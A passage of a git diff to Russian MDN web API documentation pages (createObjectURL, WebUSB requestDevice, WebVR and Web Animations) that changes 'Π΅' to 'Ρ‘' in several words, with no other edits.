-<p><strong><code>URL.createObjectURL()</code></strong> - статичСский ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт {{domxref("DOMString")}}, содСрТащий URL с ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. ВрСмя ΠΆΠΈΠ·Π½ΠΈ URL связано с {{domxref("document")}} ΠΎΠΊΠ½Π° Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ Π±Ρ‹Π» создан. Новый URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой {{domxref("File")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ»ΠΈ {{domxref("Blob")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
+<p><strong><code>URL.createObjectURL()</code></strong> - статичСский ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт {{domxref("DOMString")}}, содСрТащий URL с ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. ВрСмя ΠΆΠΈΠ·Π½ΠΈ URL связано с {{domxref("document")}} ΠΎΠΊΠ½Π° Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ Π±Ρ‹Π» создан. Новый URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой {{domxref("File")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ»ΠΈ {{domxref("Blob")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
<p>{{AvailableInWorkers}}</p>
@@ -23,7 +23,7 @@ translation_of: Web/API/URL/createObjectURL
</dl>
<dl>
- <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{domxref("File")}} ΠΈΠ»ΠΈΒ {{domxref("Blob")}} для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ создаСтся URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
+ <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{domxref("File")}} ΠΈΠ»ΠΈΒ {{domxref("Blob")}} для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ создаётся URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
</dl>
<ul>
@@ -35,7 +35,7 @@ translation_of: Web/API/URL/createObjectURL
<h2 id="Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ">Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ</h2>
-<p>ΠŸΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ <code>createObjectURL()</code>, создаСтся Π½ΠΎΠ²Ρ‹ΠΉ URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π±Ρ‹Π» Ρ€Π°Π½Π΅Π΅ создан для Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ самого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΠ°ΠΌΡΡ‚ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ ΠΎΡΠ²ΠΎΠ±ΠΎΠΆΠ΄Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("URL.revokeObjectURL()")}}, Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΎΠ½ΠΈ большС Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ сдСлаСт это автоматичСски с Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π² цСлях ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ использования памяти, слСдуСт ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎ возмоТности.</p>
+<p>ΠŸΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ <code>createObjectURL()</code>, создаётся Π½ΠΎΠ²Ρ‹ΠΉ URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π±Ρ‹Π» Ρ€Π°Π½Π΅Π΅ создан для Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ самого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΠ°ΠΌΡΡ‚ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ ΠΎΡΠ²ΠΎΠ±ΠΎΠΆΠ΄Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("URL.revokeObjectURL()")}}, Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΎΠ½ΠΈ большС Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ сдСлаСт это автоматичСски с Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π² цСлях ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ использования памяти, слСдуСт ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎ возмоТности.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html
index bb162ad242..5ec208774e 100644
--- a/files/ru/web/api/usb/requestdevice/index.html
+++ b/files/ru/web/api/usb/requestdevice/index.html
@@ -43,7 +43,7 @@ translation_of: Web/API/USB/requestDevice
<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ любоС ΠΈΠ· пСрСчислСнных USB-устройств. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π΄Π²Π° Ρ€Π°Π·Π½Ρ‹Ρ… PID. Оба ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π² спискС Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ² для <code>requestDevice()</code>. ΠŸΡ€ΠΈ этом Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ ΠΎΠΊΠ½ΠΎ для Π²Ρ‹Π±ΠΎΡ€Π° ΠΈ подтвСрТдСния доступа ΠΊ устройству. Волько Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ устройство Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π² <code>then()</code>.</p>
-<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ² Π½Π΅ опрСдСляСт количСство устройств, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. НапримСр, Ссли Π½Π°ΠΉΠ΄Π΅Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ USB-устройство с product ID <code>0xa800</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ устройство. Но, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ Π΄Π²Π° устройства, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΡ… с ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠΌ, ΠΈ Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π΅ со Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ всС Ρ‚Ρ€ΠΈ устройства.</p>
+<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ² Π½Π΅ опрСдСляСт количСство устройств, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. НапримСр, Ссли Π½Π°ΠΉΠ΄Π΅Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ USB-устройство с product ID <code>0xa800</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ устройство. Но, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ Π΄Π²Π° устройства, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΡ… с ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠΌ, ΠΈ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π΅ со Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ всС Ρ‚Ρ€ΠΈ устройства.</p>
<pre class="brush: js notranslate">const filters = [
Β  Β  Β  Β  {vendorId: 0x1209, productId: 0xa800},
diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html
index 9537b94035..acdb59197f 100644
--- a/files/ru/web/api/vrdisplay/requestpresent/index.html
+++ b/files/ru/web/api/vrdisplay/requestpresent/index.html
@@ -27,9 +27,9 @@ translation_of: Web/API/VRDisplay/requestPresent
<div>
<ul>
- <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} Π»ΠΎΠΆΠ½ΠΎ ΠΈΠ»ΠΈ Ссли массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² VRLayer содСрТит Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ {{domxref("VRDisplayCapabilities.maxLayers")}} слоСв, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π² состояниС "ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ".</li>
+ <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} Π»ΠΎΠΆΠ½ΠΎ ΠΈΠ»ΠΈ Ссли массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² VRLayer содСрТит Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ {{domxref("VRDisplayCapabilities.maxLayers")}} слоёв, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π² состояниС "ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ".</li>
<li>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("VRDisplay")}} ΡƒΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сцСну, Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ² Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>requestPresent()</code> ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ массив ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Ρ… <code>VRLayer</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</li>
- <li>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>VRDisplay</code> ΡƒΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сцСну, Π° Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>requestPresent()</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Ρƒ Promise Π² состоянии "ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ", Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ сцСны прСкратится.</li>
+ <li>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>VRDisplay</code> ΡƒΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сцСну, Π° Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>requestPresent()</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Ρƒ Promise Π² состоянии "ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ", Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ сцСны прСкратится.</li>
<li>If <code>requestPresent()</code> is called outside of an engagement gesture the promise will be rejected unless the <code>VRDisplay</code> was already presenting. This engagement gesture is also sufficient to allow <code><a href="/en-US/docs/Web/API/Element/requestPointerLock">requestPointerLock()</a></code> calls until presentation has ended.</li>
</ul>
</div>
diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html
index 8b8c2bee90..9847e7e521 100644
--- a/files/ru/web/api/vrdisplayevent/index.html
+++ b/files/ru/web/api/vrdisplayevent/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/VRDisplayEvent
<dl>
<dt>{{domxref("VRDisplayEvent.VRDisplayEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° VRDisplayEvent.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° VRDisplayEvent.</dd>
</dl>
<h2 id="Properties">Properties</h2>
diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html
index 5fe9d79079..babe98004a 100644
--- a/files/ru/web/api/vrframedata/index.html
+++ b/files/ru/web/api/vrframedata/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/VRFrameData
<dl>
<dt>{{domxref("VRFrameData.VRFrameData()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° VRFrameData.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° VRFrameData.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html
index bb8ac2a631..7e9f416702 100644
--- a/files/ru/web/api/web_animations_api/index.html
+++ b/files/ru/web/api/web_animations_api/index.html
@@ -6,7 +6,7 @@ translation_of: Web/API/Web_Animations_API
<p>{{DefaultAPISidebar("Π’Π΅Π±-анимация")}} {{SeeCompatTable()}}</p>
<div class="summary">
-<p>API Π²Π΅Π±-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ позволяСт ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ сроки измСнСния прСдставлСния Π²Π΅Π±-страницы, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ элСмСнтов DOM. Она Π΄Π΅Π»Π°Π΅Ρ‚ это ΠΏΡƒΡ‚Π΅ΠΌ объСдинСния Π΄Π²ΡƒΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ: МодСль синхронизации ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p>API Π²Π΅Π±-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ позволяСт ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ сроки измСнСния прСдставлСния Π²Π΅Π±-страницы, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ элСмСнтов DOM. Она Π΄Π΅Π»Π°Π΅Ρ‚ это ΠΏΡƒΡ‚Ρ‘ΠΌ объСдинСния Π΄Π²ΡƒΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ: МодСль синхронизации ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
</div>
<h2 id="ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅_понятия_ΠΈ_использованиС_API">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ понятия ΠΈ использованиС API</h2>
@@ -28,7 +28,7 @@ translation_of: Web/API/Web_Animations_API
<dt>{{Domxref("DocumentTimeline")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ€Π°ΠΌΠΊΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π² Ρ‚ΠΎΠΌ числС Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ€Π°ΠΌΠΊΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (Ρ‡Π΅Ρ€Π΅Π· свойство {{domxref("Document.timeline")}}).</dd>
<dt>{{Domxref("AnimationEffectTiming")}}</dt>
- <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚, содСрТащий Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ свойства, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅ {{domxref("KeyframeEffect.timing", "сроки")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{domxref("KeyframeEffect")}}. Он наслСдуСт свои свойства ΠΎΡ‚ {{domxref("AnimationEffectTimingReadOnly")}}, Π½ΠΎ Π² Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹.</dd>
+ <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚, содСрТащий Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ свойства, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅ {{domxref("KeyframeEffect.timing", "сроки")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{domxref("KeyframeEffect")}}. Он наслСдуСт свои свойства ΠΎΡ‚ {{domxref("AnimationEffectTimingReadOnly")}}, Π½ΠΎ Π² Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹.</dd>
<dt>{{Domxref("SharedKeyframeList")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€ΠΎΠ² , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ {{domxref("KeyframeEffect")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>SharedKeyframeList</code>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, нСсколько <code>KeyframeEffect</code>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹ , Π½Π΅ Π·Π°ΠΏΠ»Π°Ρ‚ΠΈΠ² ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π°Π·Π±ΠΎΡ€Π° ΠΈΡ… нСсколько Ρ€Π°Π·.</dd>
<dt>{{domxref("AnimationEffectTimingProperties")}}</dt>
@@ -58,7 +58,7 @@ translation_of: Web/API/Web_Animations_API
<h2 id="Π’Π΅Π±-анимация_для_чтСния_Ρ‚ΠΎΠ»ΡŒΠΊΠΎ_интСрфСйсы">Π’Π΅Π±-анимация для чтСния Ρ‚ΠΎΠ»ΡŒΠΊΠΎ интСрфСйсы</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ интСрфСйсы Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² спСцификации для Ρ‚Π°ΠΊΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… мСстах, ΠΈΠ»ΠΈ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ Π² качСствС основы для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… интСрфСйсов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΎΠ΄Π½ΠΈΡ… ΠΈ Ρ‚Π΅Ρ… ΠΆΠ΅ свойств. Π’Ρ‹ Π±Ρ‹ Π½Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² Ρ€Π°Π±ΠΎΡ‚Π΅ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π½ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ интСрСсны для Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ эта тСхнология Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΈΡ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивными, ΠΈΠ»ΠΈ для ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ‰ΡƒΡ‚ Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΎΠΉ ссылки, Ρ‡Π΅ΠΌ спСцификация обСспСчиваСт.</p>
